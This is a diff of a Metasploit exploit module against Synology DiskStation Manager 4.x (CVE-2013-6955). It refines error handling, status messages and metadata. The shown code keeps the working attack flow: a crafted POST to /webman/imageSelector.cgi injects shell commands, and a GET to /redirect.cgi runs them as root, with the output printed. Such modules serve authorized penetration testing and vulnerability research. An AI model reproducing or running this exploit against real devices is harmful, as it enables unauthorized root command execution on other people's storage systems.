@@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
15
15
16
16
def initialize ( info = { } )
17
17
super ( update_info ( info ,
18
- 'Name' => "Synology DiskStation Manager SLICEUPLOAD Unauthenticated Remote Command Execution" ,
18
+ 'Name' => "Synology DiskStation Manager SLICEUPLOAD Remote Command Execution" ,
19
19
'Description' => %q{
20
20
This module exploits a vulnerability found in Synology DiskStation Manager (DSM)
21
21
versions 4.x, which allows the execution of arbitrary commands under root
@@ -32,7 +32,10 @@ def initialize(info={})
32
32
[
33
33
'Markus Wulftange' # Discovery, Metasploit module
34
34
] ,
35
- 'License' => MSF_LICENSE ,
35
+ 'References' =>
36
+ [
37
+ [ 'CVE' , '2013-6955' ] ,
38
+ ] ,
36
39
'Privileged' => false ,
37
40
'Platform' => [ 'unix' ] ,
38
41
'Arch' => ARCH_CMD ,
@@ -51,11 +54,8 @@ def initialize(info={})
51
54
[ 'Automatic' , { } ]
52
55
] ,
53
56
'DefaultTarget' => 0 ,
54
- 'DisclosureDate' => 'Oct 31 2013' ,
55
- 'References' =>
56
- [
57
- [ 'CVE' , '2013-6955' ] ,
58
- ]
57
+ 'License' => MSF_LICENSE ,
58
+ 'DisclosureDate' => 'Oct 31 2013'
59
59
) )
60
60
61
61
register_options (
@@ -124,6 +124,7 @@ def exploit
124
124
post_body . gsub! ( /\r \n (--#{ mime_msg . bound } )/ , ' \\1' )
125
125
126
126
# send request to append shell commands
127
+ print_status ( "#{ peer } - Injecting the payload..." )
127
128
res = send_request_cgi ( {
128
129
'method' => 'POST' ,
129
130
'uri' => '/webman/imageSelector.cgi' ,
@@ -136,23 +137,25 @@ def exploit
136
137
} )
137
138
138
139
unless res and res . code == 200 and res . body . include? ( 'error_noprivilege' )
139
- print_error ( "#{ peer } - Unexpected response, probably the exploit failed" )
140
- return
140
+ fail_with ( Failure ::Unknown , "#{ peer } - Unexpected response, probably the exploit failed" )
141
141
end
142
142
143
143
# send request to invoke the injected shell commands
144
+ print_status ( "#{ peer } - Executing the payload..." )
144
145
res = send_request_cgi ( {
145
146
'method' => 'GET' ,
146
147
'uri' => '/redirect.cgi'
147
148
} )
148
149
149
- unless res and res . code == 200
150
- print_error ( "#{ peer } - Unexpected response, probably the exploit failed" )
151
- return
152
- end
150
+ # Read command output if cmd/unix/generic payload was used
151
+ if datastore [ 'CMD' ]
152
+ unless res and res . code == 200
153
+ fail_with ( Failure ::Unknown , "#{ peer } - Unexpected response, probably the exploit failed" )
154
+ end
153
155
154
- print_good ( "#{ peer } - Command successfully executed" )
155
- print_line ( res . body )
156
+ print_good ( "#{ peer } - Command successfully executed" )
157
+ print_line ( res . body )
158
+ end
156
159
end
157
160
end
158
161
0 commit comments